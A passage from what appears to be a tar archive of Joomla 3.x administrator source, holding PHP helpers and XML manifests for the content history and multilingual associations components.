				}
			}
		}

		$result = new stdClass;
		$result->labels = $labels;
		$result->values = $values;

		return $result;
	}

	/**
	 * Method to get the XML form file for this component. Used to get translated field names for history preview.
	 *
	 * @param   JTableContenttype  $typesTable  Table object with content history options.
	 *
	 * @return  mixed  JModel object if successful, false if no model found.
	 *
	 * @since   3.2
	 */
	public static function getFormFile(JTableContenttype $typesTable)
	{
		$result = false;
		jimport('joomla.filesystem.file');
		jimport('joomla.filesystem.folder');

		// First, see if we have a file name in the $typesTable
		$options = json_decode($typesTable->content_history_options);

		if (is_object($options) && isset($options->formFile) && JFile::exists(JPATH_ROOT . '/' . $options->formFile))
		{
			$result = JPATH_ROOT . '/' . $options->formFile;
		}
		else
		{
			$aliasArray = explode('.', $typesTable->type_alias);

			if (count($aliasArray) == 2)
			{
				$component = ($aliasArray[1] == 'category') ? 'com_categories' : $aliasArray[0];
				$path  = JFolder::makeSafe(JPATH_ADMINISTRATOR . '/components/' . $component . '/models/forms/');
				$file = JFile::makeSafe($aliasArray[1] . '.xml');
				$result = JFile::exists($path . $file) ? $path . $file : false;
			}
		}

		return $result;
	}

	/**
	 * Method to query the database using values from lookup objects.
	 *
	 * @param   stdClass  $lookup  The std object with the values needed to do the query.
	 * @param   mixed     $value   The value used to find the matching title or name. Typically the id.
	 *
	 * @return  mixed  Value from database (for example, name or title) on success, false on failure.
	 *
	 * @since   3.2
	 */
	public static function getLookupValue($lookup, $value)
	{
		$result = false;

		if (isset($lookup->sourceColumn) && isset($lookup->targetTable) && isset($lookup->targetColumn)&& isset($lookup->displayColumn))
		{
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select($db->quoteName($lookup->displayColumn))
				->from($db->quoteName($lookup->targetTable))
				->where($db->quoteName($lookup->targetColumn) . ' = ' . $db->quote($value));
			$db->setQuery($query);

			try
			{
				$result = $db->loadResult();
			}
			catch (Exception $e)
			{
				// Ignore any errors and just return false
				return false;
			}
		}

		return $result;
	}

	/**
	 * Method to remove fields from the object based on values entered in the #__content_types table.
	 *
	 * @param   stdClass           $object     Object to be passed to view layout file.
	 * @param   JTableContenttype  $typeTable  Table object with content history options.
	 *
	 * @return  stdClass  object with hidden fields removed.
	 *
	 * @since   3.2
	 */
	public static function hideFields($object, JTableContenttype $typeTable)
	{
		if ($options = json_decode($typeTable->content_history_options))
		{
			if (isset($options->hideFields) && is_array($options->hideFields))
			{
				foreach ($options->hideFields as $field)
				{
					unset($object->$field);
				}
			}
		}

		return $object;
	}

	/**
	 * Method to load the language files for the component whose history is being viewed.
	 *
	 * @param   string  $typeAlias  The type alias, for example 'com_content.article'.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public static function loadLanguageFiles($typeAlias)
	{
		$aliasArray = explode('.', $typeAlias);

		if (is_array($aliasArray) && count($aliasArray) == 2)
		{
			$component = ($aliasArray[1] == 'category') ? 'com_categories' : $aliasArray[0];
			$lang = JFactory::getLanguage();

			/**
			 * Loading language file from the administrator/language directory then
			 * loading language file from the administrator/components/extension/language directory
			 */
			$lang->load($component, JPATH_ADMINISTRATOR, null, false, true)
			|| $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component), null, false, true);

			// Force loading of backend global language file
			$lang->load('joomla', JPath::clean(JPATH_ADMINISTRATOR), null, false, true);
		}
	}

	/**
	 * Method to create object to pass to the layout. Format is as follows:
	 * field is std object with name, value.
	 *
	 * Value can be a std object with name, value pairs.
	 *
	 * @param   stdClass  $object      The std object from the JSON string. Can be nested 1 level deep.
	 * @param   stdClass  $formValues  Standard class of label and value in an associative array.
	 *
	 * @return  stdClass  Object with translated labels where available
	 *
	 * @since   3.2
	 */
	public static function mergeLabels($object, $formValues)
	{
		$result = new stdClass;

		if ($object === null)
		{
			return $result;
		}

		$labelsArray = $formValues->labels;
		$valuesArray = $formValues->values;

		foreach ($object as $name => $value)
		{
			$result->$name = new stdClass;
			$result->$name->name = $name;
			$result->$name->value = isset($valuesArray[$name]) ? $valuesArray[$name] : $value;
			$result->$name->label = isset($labelsArray[$name]) ? $labelsArray[$name] : $name;

			if (is_object($value))
			{
				$subObject = new stdClass;

				foreach ($value as $subName => $subValue)
				{
					$subObject->$subName = new stdClass;
					$subObject->$subName->name = $subName;
					$subObject->$subName->value = isset($valuesArray[$subName]) ? $valuesArray[$subName] : $subValue;
					$subObject->$subName->label = isset($labelsArray[$subName]) ? $labelsArray[$subName] : $subName;
					$result->$name->value = $subObject;
				}
			}
		}

		return $result;
	}

	/**
	 * Method to prepare the object for the preview and compare views.
	 *
	 * @param   JTableContenthistory  $table  Table object loaded with data.
	 *
	 * @return  stdClass  Object ready for the views.
	 *
	 * @since   3.2
	 */
	public static function prepareData(JTableContenthistory $table)
	{
		$object = static::decodeFields($table->version_data);
		$typesTable = JTable::getInstance('Contenttype');
		$typesTable->load(array('type_id' => $table->ucm_type_id));
		$formValues = static::getFormValues($object, $typesTable);
		$object = static::mergeLabels($object, $formValues);
		$object = static::hideFields($object, $typesTable);
		$object = static::processLookupFields($object, $typesTable);

		return $object;
	}

	/**
	 * Method to process any lookup values found in the content_history_options column for this table.
	 * This allows category title and user name to be displayed instead of the id column.
	 *
	 * @param   stdClass           $object      The std object from the JSON string. Can be nested 1 level deep.
	 * @param   JTableContenttype  $typesTable  Table object loaded with data.
	 *
	 * @return  stdClass  Object with lookup values inserted.
	 *
	 * @since   3.2
	 */
	public static function processLookupFields($object, JTableContenttype $typesTable)
	{
		if ($options = json_decode($typesTable->content_history_options))
		{
			if (isset($options->displayLookup) && is_array($options->displayLookup))
			{
				foreach ($options->displayLookup as $lookup)
				{
					$sourceColumn = isset($lookup->sourceColumn) ? $lookup->sourceColumn : false;
					$sourceValue = isset($object->$sourceColumn->value) ? $object->$sourceColumn->value : false;

					if ($sourceColumn && $sourceValue && ($lookupValue = static::getLookupValue($lookup, $sourceValue)))
					{
						$object->$sourceColumn->value = $lookupValue;
					}
				}
			}
		}

		return $object;
	}
}
com_contenthistory/helpers/html/textdiff.php000060400000003216152455305260015437 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * HTML utility class for creating text diffs using jQuery, diff_patch_match.js and jquery.pretty-text-diff.js JavaScript libraries.
 *
 * @since       3.2
 *
 * @deprecated  4.0 No replacement
 */
abstract class JHtmlTextdiff
{
	/**
	 * @var    array  Array containing information for loaded files
	 * @since  3.2
	 */
	protected static $loaded = array();

	/**
	 * Method to load Javascript text diff
	 *
	 * @param   string  $containerId  DOM id of the element where the diff will be rendered
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public static function textdiff($containerId)
	{
		// Only load once
		if (isset(static::$loaded[__METHOD__]))
		{
			return;
		}

		// Depends on jQuery UI
		JHtml::_('bootstrap.framework');
		JHtml::_('script', 'com_contenthistory/diff_match_patch.js', array('version' => 'auto', 'relative' => true));
		JHtml::_('script', 'com_contenthistory/jquery.pretty-text-diff.min.js', array('version' => 'auto', 'relative' => true));
		JHtml::_('stylesheet', 'com_contenthistory/jquery.pretty-text-diff.css', array('version' => 'auto', 'relative' => true));

		// Attach diff to document
		JFactory::getDocument()->addScriptDeclaration("
			(function ($){
				$(document).ready(function (){
 					$('#" . $containerId . " tr').prettyTextDiff();
 				});
			})(jQuery);
			"
		);

		// Set static array
		static::$loaded[__METHOD__] = true;

		return;
	}
}
com_contenthistory/contenthistory.xml000060400000002155152455305260014322 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.2" method="upgrade">
	<name>com_contenthistory</name>
	<author>Joomla! Project</author>
	<creationDate>May 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.0</version>
	<description>COM_CONTENTHISTORY_XML_DESCRIPTION</description>
	<files folder="site">
		<filename>contenthistory.php</filename>
		<filename>index.html</filename>
	</files>
	<administration>
		<files folder="admin">
			<filename>controller.php</filename>
			<filename>contenthistory.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>media</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_contenthistory.ini</language>
			<language tag="en-GB">language/en-GB.com_contenthistory.sys.ini</language>
		</languages>
	</administration>
</extension>

com_contenthistory/controller.php000060400000000604152455305260013375 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Contenthistory Controller
 *
 * @since  3.2
 */
class ContenthistoryController extends JControllerLegacy
{
}
com_associations/helpers/associations.php000060400000041424152455305260014763 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\CMS\Language\LanguageHelper;

/**
 * Associations component helper.
 *
 * @since  3.7.0
 */
class AssociationsHelper extends JHelperContent
{
	/**
	 * Array of Registry objects of extensions
	 *
	 * var      array   $extensionsSupport
	 *
	 * @since   3.7.0
	 */
	public static $extensionsSupport = null;

	/**
	 * List of extensions name with support
	 *
	 * var      array   $supportedExtensionsList
	 *
	 * @since   3.7.0
	 */
	public static $supportedExtensionsList = array();

	/**
	 * Get the associated items for an item
	 *
	 * @param   string  $extensionName  The extension name with com_
	 * @param   string  $typeName       The item type
	 * @param   int     $itemId         The id of item for which we need the associated items
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public static function getAssociationList($extensionName, $typeName, $itemId)
	{
		if (!self::hasSupport($extensionName))
		{
			return array();
		}

		// Get the extension specific helper method
		$helper = self::getExtensionHelper($extensionName);

		return $helper->getAssociationList($typeName, $itemId);

	}

	/**
	 * Get the the instance of the extension helper class
	 *
	 * @param   string  $extensionName  The extension name with com_
	 *
	 * @return  HelperClass|null
	 *
	 * @since   3.7.0
	 */
	public static function getExtensionHelper($extensionName)
	{
		if (!self::hasSupport($extensionName))
		{
			return null;
		}

		$support = self::$extensionsSupport[$extensionName];

		return $support->get('helper');
	}

	/**
	 * Get item information
	 *
	 * @param   string  $extensionName  The extension name with com_
	 * @param   string  $typeName       The item type
	 * @param   int     $itemId         The id of item for which we need the associated items
	 *
	 * @return  JTable|null
	 *
	 * @since   3.7.0
	 */
	public static function getItem($extensionName, $typeName, $itemId)
	{
		if (!self::hasSupport($extensionName))
		{
			return array();
		}

		// Get the extension specific helper method
		$helper = self::getExtensionHelper($extensionName);

		return $helper->getItem($typeName, $itemId);
	}

	/**
	 * Check if extension supports associations
	 *
	 * @param   string  $extensionName  The extension name with com_
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public static function hasSupport($extensionName)
	{
		if (is_null(self::$extensionsSupport))
		{
			self::getSupportedExtensions();
		}

		return in_array($extensionName, self::$supportedExtensionsList);
	}

	/**
	 * Get the extension specific helper class name
	 *
	 * @param   string  $extensionName  The extension name with com_
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	private static function getExtensionHelperClassName($extensionName)
	{
		$realName = self::getExtensionRealName($extensionName);

		return ucfirst($realName) . 'AssociationsHelper';
	}

	/**
	 * Get the real extension name. This means without com_
	 *
	 * @param   string  $extensionName  The extension name with com_
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	private static function getExtensionRealName($extensionName)
	{
		return strpos($extensionName, 'com_') === false ? $extensionName : substr($extensionName, 4);
	}

	/**
	 * Get the associated language edit links Html.
	 *
	 * @param   string   $extensionName   Extension Name
	 * @param   string   $typeName        ItemType
	 * @param   integer  $itemId          Item id.
	 * @param   string   $itemLanguage    Item language code.
	 * @param   boolean  $addLink         True for adding edit links. False for just text.
	 * @param   boolean  $assocLanguages  True for showing non associated content languages. False only languages with associations.
	 *
	 * @return  string   The language HTML
	 *
	 * @since   3.7.0
	 */
	public static function getAssociationHtmlList($extensionName, $typeName, $itemId, $itemLanguage, $addLink = true, $assocLanguages = true)
	{
		// Get the associations list for this item.
		$items = self::getAssociationList($extensionName, $typeName, $itemId);

		$titleFieldName = self::getTypeFieldName($extensionName, $typeName, 'title');

		// Get all content languages.
		$languages = LanguageHelper::getContentLanguages(array(0, 1));

		$canEditReference = self::allowEdit($extensionName, $typeName, $itemId);
		$canCreate        = self::allowAdd($extensionName, $typeName);

		// Create associated items list.
		foreach ($languages as $langCode => $language)
		{
			// Don't do for the reference language.
			if ($langCode == $itemLanguage)
			{
				continue;
			}

			// Don't show languages with associations, if we don't want to show them.
			if ($assocLanguages && isset($items[$langCode]))
			{
				unset($items[$langCode]);
				continue;
			}

			// Don't show languages without associations, if we don't want to show them.
			if (!$assocLanguages && !isset($items[$langCode]))
			{
				continue;
			}

			// Get html parameters.
			if (isset($items[$langCode]))
			{
				$title       = $items[$langCode][$titleFieldName];
				$additional  = '';

				if (isset($items[$langCode]['catid']))
				{
					$db = JFactory::getDbo();

					// Get the category name
					$query = $db->getQuery(true)
						->select($db->quoteName('title'))
						->from($db->quoteName('#__categories'))
						->where($db->quoteName('id') . ' = ' . $db->quote($items[$langCode]['catid']));

					$db->setQuery($query);
					$category_title = $db->loadResult();

					$additional = '<strong>' . JText::sprintf('JCATEGORY_SPRINTF', $category_title) . '</strong> <br />';
				}
				elseif (isset($items[$langCode]['menutype']))
				{
					$db = JFactory::getDbo();

					// Get the menutype name
					$query = $db->getQuery(true)
						->select($db->quoteName('title'))
						->from($db->quoteName('#__menu_types'))
						->where($db->quoteName('menutype') . ' = ' . $db->quote($items[$langCode]['menutype']));

					$db->setQuery($query);
					$menutype_title = $db->loadResult();

					$additional = '<strong>' . JText::sprintf('COM_MENUS_MENU_SPRINTF', $menutype_title) . '</strong><br />';
				}

				$labelClass  = '';
				$target      = $langCode . ':' . $items[$langCode]['id'] . ':edit';
				$allow       = $canEditReference
								&& self::allowEdit($extensionName, $typeName, $items[$langCode]['id'])
								&& self::canCheckinItem($extensionName, $typeName, $items[$langCode]['id']);

				$additional .= $addLink && $allow ? JText::_('COM_ASSOCIATIONS_EDIT_ASSOCIATION') : '';
			}
			else
			{
				$items[$langCode] = array();

				$title      = JText::_('COM_ASSOCIATIONS_NO_ASSOCIATION');
				$additional = $addLink ? JText::_('COM_ASSOCIATIONS_ADD_NEW_ASSOCIATION') : '';
				$labelClass = 'label-warning';
				$target     = $langCode . ':0:add';
				$allow      = $canCreate;
			}

			// Generate item Html.
			$options   = array(
				'option'   => 'com_associations',
				'view'     => 'association',
				'layout'   => 'edit',
				'itemtype' => $extensionName . '.' . $typeName,
				'task'     => 'association.edit',
				'id'       => $itemId,
				'target'   => $target,
			);

			$url     = JRoute::_('index.php?' . http_build_query($options));
			$url     = $allow && $addLink ? $url : '';
			$text    = strtoupper($language->sef);

			$tooltip = htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . '<br /><br />' . $additional;
			$classes = 'hasPopover label ' . $labelClass . ' label-' . $language->sef;

			$items[$langCode]['link'] = '<a href="' . $url . '" title="' . $language->title . '" class="' . $classes
						. '" data-content="' . $tooltip . '" data-placement="top">'
						. $text . '</a>';
		}

		JHtml::_('bootstrap.popover');

		return JLayoutHelper::render('joomla.content.associations', $items);
	}

	/**
	 * Get all extensions with associations support.
	 *
	 * @return  array  The extensions.
	 *
	 * @since   3.7.0
	 */
	public static function getSupportedExtensions()
	{
		if (!is_null(self::$extensionsSupport))
		{
			return self::$extensionsSupport;
		}

		self::$extensionsSupport = array();

		$extensions = self::getEnabledExtensions();

		foreach ($extensions as $extension)
		{
			$support = self::getSupportedExtension($extension->element);

			if ($support->get('associationssupport') === true)
			{
				self::$supportedExtensionsList[] = $extension->element;
			}

			self::$extensionsSupport[$extension->element] = $support;
		}

		return self::$extensionsSupport;
	}

	/**
	 * Get item context based on the item key.
	 *
	 * @param   string  $extensionName  The extension identifier.
	 *
	 * @return  Joomla\Registry\Registry  The item properties.
	 *
	 * @since   3.7.0
	 */
	public static function getSupportedExtension($extensionName)
	{
		$result = new Registry;

		$result->def('component', $extensionName);
		$result->def('associationssupport', false);
		$result->def('helper', null);

		// Check if associations helper exists
		if (!file_exists(JPATH_ADMINISTRATOR . '/components/' . $extensionName . '/helpers/associations.php'))
		{
			return $result;
		}

		require_once JPATH_ADMINISTRATOR . '/components/' . $extensionName . '/helpers/associations.php';

		$componentAssociationsHelperClassName = self::getExtensionHelperClassName($extensionName);

		if (!class_exists($componentAssociationsHelperClassName, false))
		{
			return $result;
		}

		// Create an instance of the helper class
		$helper = new $componentAssociationsHelperClassName;
		$result->set('helper', $helper);

		if ($helper->hasAssociationsSupport() === false)
		{
			return $result;
		}

		$result->set('associationssupport', true);

		// Get the translated titles.
		$languagePath = JPATH_ADMINISTRATOR . '/components/' . $extensionName;
		$lang         = JFactory::getLanguage();

		$lang->load($extensionName . '.sys', JPATH_ADMINISTRATOR);
		$lang->load($extensionName . '.sys', $languagePath);
		$lang->load($extensionName, JPATH_ADMINISTRATOR);
		$lang->load($extensionName, $languagePath);

		$result->def('title', JText::_(strtoupper($extensionName)));

		// Get the supported types
		$types  = $helper->getItemTypes();
		$rTypes = array();

		foreach ($types as $typeName)
		{
			$details     = $helper->getType($typeName);
			$context     = 'component';
			$title       = $helper->getTypeTitle($typeName);
			$languageKey = $typeName;

			if ($typeName === 'category')
			{
				$languageKey = strtoupper($extensionName) . '_CATEGORIES';
				$context     = 'category';
			}

			if ($lang->hasKey(strtoupper($extensionName . '_' . $title . 'S')))
			{
				$languageKey = strtoupper($extensionName . '_' . $title . 'S');
			}

			$title = $lang->hasKey($languageKey) ? JText::_($languageKey) : JText::_('COM_ASSOCIATIONS_ITEMS');

			$rType = new Registry;

			$rType->def('name', $typeName);
			$rType->def('details', $details);
			$rType->def('title', $title);
			$rType->def('context', $context);

			$rTypes[$typeName] = $rType;
		}

		$result->def('types', $rTypes);

		return $result;
	}

	/**
	 * Get all installed and enabled extensions
	 *
	 * @return  mixed
	 *
	 * @since   3.7.0
	 */
	private static function getEnabledExtensions()
	{
		$db = JFactory::getDbo();

		$query = $db->getQuery(true)
			->select('*')
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('type') . ' = ' . $db->quote('component'))
			->where($db->quoteName('enabled') . ' = 1');

		$db->setQuery($query);

		return $db->loadObjectList();
	}

	/**
	 * Get all the content languages.
	 *
	 * @return  array  Array of objects all content languages by language code.
	 *
	 * @since   3.7.0
	 */
	public static function getContentLanguages()
	{
		return LanguageHelper::getContentLanguages(array(0, 1));
	}

	/**
	 * Get the associated items for an item
	 *
	 * @param   string  $extensionName  The extension name with com_
	 * @param   string  $typeName       The item type
	 * @param   int     $itemId         The id of item for which we need the associated items
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public static function allowEdit($extensionName, $typeName, $itemId)
	{
		if (!self::hasSupport($extensionName))
		{
			return false;
		}

		// Get the extension specific helper method
		$helper = self::getExtensionHelper($extensionName);

		if (method_exists($helper, 'allowEdit'))
		{
			return $helper->allowEdit($typeName, $itemId);
		}

		return JFactory::getUser()->authorise('core.edit', $extensionName);
	}

	/**
	 * Check if user is allowed to create items.
	 *
	 * @param   string  $extensionName  The extension name with com_
	 * @param   string  $typeName       The item type
	 *
	 * @return  boolean  True on allowed.
	 *
	 * @since   3.7.0
	 */
	public static function allowAdd($extensionName, $typeName)
	{
		if (!self::hasSupport($extensionName))
		{
			return false;
		}

		// Get the extension specific helper method
		$helper = self::getExtensionHelper($extensionName);

		if (method_exists($helper, 'allowAdd'))
		{
			return $helper->allowAdd($typeName);
		}

		return JFactory::getUser()->authorise('core.create', $extensionName);
	}

	/**
	 * Check if an item is checked out
	 *
	 * @param   string  $extensionName  The extension name with com_
	 * @param   string  $typeName       The item type
	 * @param   int     $itemId         The id of item for which we need the associated items
	 *
	 * @return  boolean  True if item is checked out.
	 *
	 * @since   3.7.0
	 */
	public static function isCheckoutItem($extensionName, $typeName, $itemId)
	{
		if (!self::hasSupport($extensionName))
		{
			return false;
		}

		if (!self::typeSupportsCheckout($extensionName, $typeName))
		{
			return false;
		}

		// Get the extension specific helper method
		$helper = self::getExtensionHelper($extensionName);

		if (method_exists($helper, 'isCheckoutItem'))
		{
			return $helper->isCheckoutItem($typeName, $itemId);
		}

		$item = self::getItem($extensionName, $typeName, $itemId);

		$checkedOutFieldName = $helper->getTypeFieldName($typeName, 'checked_out');

		return $item->{$checkedOutFieldName} != 0;
	}

	/**
	 * Check if user can checkin an item.
	 *
	 * @param   string  $extensionName  The extension name with com_
	 * @param   string  $typeName       The item type
	 * @param   int     $itemId         The id of item for which we need the associated items
	 *
	 * @return  boolean  True on allowed.
	 *
	 * @since   3.7.0
	 */
	public static function canCheckinItem($extensionName, $typeName, $itemId)
	{
		if (!self::hasSupport($extensionName))
		{
			return false;
		}

		if (!self::typeSupportsCheckout($extensionName, $typeName))
		{
			return true;
		}

		// Get the extension specific helper method
		$helper = self::getExtensionHelper($extensionName);

		if (method_exists($helper, 'canCheckinItem'))
		{
			return $helper->canCheckinItem($typeName, $itemId);
		}

		$item = self::getItem($extensionName, $typeName, $itemId);

		$checkedOutFieldName = $helper->getTypeFieldName($typeName, 'checked_out');

		$userId = JFactory::getUser()->id;

		return ($item->{$checkedOutFieldName} == $userId || $item->{$checkedOutFieldName} == 0);
	}

	/**
	 * Check if the type supports checkout
	 *
	 * @param   string  $extensionName  The extension name with com_
	 * @param   string  $typeName       The item type
	 *
	 * @return  boolean  True on allowed.
	 *
	 * @since   3.7.0
	 */
	public static function typeSupportsCheckout($extensionName, $typeName)
	{
		if (!self::hasSupport($extensionName))
		{
			return false;
		}

		// Get the extension specific helper method
		$helper = self::getExtensionHelper($extensionName);

		$support = $helper->getTypeSupport($typeName);

		return !empty($support['checkout']);
	}

	/**
	 * Get a table field name for a type
	 *
	 * @param   string  $extensionName  The extension name with com_
	 * @param   string  $typeName       The item type
	 * @param   string  $fieldName      The item type
	 *
	 * @return  boolean  True on allowed.
	 *
	 * @since   3.7.0
	 */
	public static function getTypeFieldName($extensionName, $typeName, $fieldName)
	{
		if (!self::hasSupport($extensionName))
		{
			return false;
		}

		// Get the extension specific helper method
		$helper = self::getExtensionHelper($extensionName);

		return $helper->getTypeFieldName($typeName, $fieldName);
	}

	/**
	 * Gets the language filter system plugin extension id.
	 *
	 * @return  integer  The language filter system plugin extension id.
	 *
	 * @since   3.7.2
	 */
	public static function getLanguagefilterPluginId()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('languagefilter'));
		$db->setQuery($query);

		try
		{
			$result = (int) $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		return $result;
	}
}
com_associations/associations.xml000060400000002172152455305260013327 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.7" method="upgrade">
	<name>com_associations</name>
	<author>Joomla! Project</author>
	<creationDate>January 2017</creationDate>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>COM_ASSOCIATIONS_XML_DESCRIPTION</description>
	<administration>
		<menu img="class:associations">COM_ASSOCIATIONS</menu>
		<files folder="admin">
			<filename>access.xml</filename>
			<filename>config.xml</filename>
			<filename>associations.php</filename>
			<filename>controller.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>layouts</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_associations.ini</language>
			<language tag="en-GB">language/en-GB.com_associations.sys.ini</language>
		</languages>
	</administration>
</extension>
com_associations/associations.php000060400000002352152455305260013316 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_associations'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

JLoader::register('AssociationsHelper', __DIR__ . '/helpers/associations.php');

// Check if user has permission to access the component item type.
$itemtype = JFactory::getApplication()->input->get('itemtype', '', 'string');

if ($itemtype !== '')
{
	list($extensionName, $typeName) = explode('.', $itemtype);

	if (!AssociationsHelper::hasSupport($extensionName))
	{
		throw new Exception(JText::sprintf('COM_ASSOCIATIONS_COMPONENT_NOT_SUPPORTED', JText::_($extensionName)), 404);
	}

	if (!JFactory::getUser()->authorise('core.manage', $extensionName))
	{
		throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
	}
}

$controller = JControllerLegacy::getInstance('Associations');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_associations/models/association.php000060400000001674152455305260014424 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Methods supporting a list of article records.
 *
 * @since  3.7.0
 */
class AssociationsModelAssociation extends JModelList
{
	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   3.7.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_associations.association', 'association', array('control' => 'jform', 'load_data' => $loadData));

		return !empty($form) ? $form : false;
	}
}
com_associations/models/fields/itemlanguage.php000060400000006252152455305260016015 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;
use Joomla\CMS\Language\LanguageHelper;

JLoader::register('AssociationsHelper', JPATH_ADMINISTRATOR . '/components/com_associations/helpers/associations.php');
JFormHelper::loadFieldClass('list');

/**
 * Field listing item languages
 *
 * @since  3.7.0
 */
class JFormFieldItemLanguage extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $type = 'ItemLanguage';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.7.0
	 */
	protected function getOptions()
	{
		$input = JFactory::getApplication()->input;

		list($extensionName, $typeName) = explode('.', $input->get('itemtype', '', 'string'));

		// Get the extension specific helper method
		$helper = AssociationsHelper::getExtensionHelper($extensionName);

		$languageField = $helper->getTypeFieldName($typeName, 'language');
		$referenceId   = $input->get('id', 0, 'int');
		$reference     = ArrayHelper::fromObject(AssociationsHelper::getItem($extensionName, $typeName, $referenceId));
		$referenceLang = $reference[$languageField];

		// Get item associations given ID and item type
		$associations = AssociationsHelper::getAssociationList($extensionName, $typeName, $referenceId);

		// Check if user can create items in this component item type.
		$canCreate = AssociationsHelper::allowAdd($extensionName, $typeName);

		// Gets existing languages.
		$existingLanguages = LanguageHelper::getContentLanguages(array(0, 1));

		$options = array();

		// Each option has the format "<lang>|<id>", example: "en-GB|1"
		foreach ($existingLanguages as $langCode => $language)
		{
			// If language code is equal to reference language we don't need it.
			if ($language->lang_code == $referenceLang)
			{
				continue;
			}

			$options[$langCode]       = new stdClass;
			$options[$langCode]->text = $language->title;

			// If association exists in this language.
			if (isset($associations[$language->lang_code]))
			{
				$itemId                    = (int) $associations[$language->lang_code]['id'];
				$options[$langCode]->value = $language->lang_code . ':' . $itemId . ':edit';

				// Check if user does have permission to edit the associated item.
				$canEdit = AssociationsHelper::allowEdit($extensionName, $typeName, $itemId);

				// Check if item can be checked out
				$canCheckout = AssociationsHelper::canCheckinItem($extensionName, $typeName, $itemId);

				// Disable language if user is not allowed to edit the item associated to it.
				$options[$langCode]->disable = !($canEdit && $canCheckout);
			}
			else
			{
				// New item, id = 0 and disabled if user is not allowed to create new items.
				$options[$langCode]->value = $language->lang_code . ':0:add';

				// Disable language if user is not allowed to create items.
				$options[$langCode]->disable = !$canCreate;
			}
		}

		return array_merge(parent::getOptions(), $options);
	}
}
com_associations/models/fields/itemtype.php000060400000002771152455305260015215 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JLoader::register('AssociationsHelper', JPATH_ADMINISTRATOR . '/components/com_associations/helpers/associations.php');
JFormHelper::loadFieldClass('groupedlist');

/**
 * A drop down containing all component item types that implement associations.
 *
 * @since  3.7.0
 */
class JFormFieldItemType extends JFormFieldGroupedList
{
	/**
	 * The form field type.
	 *
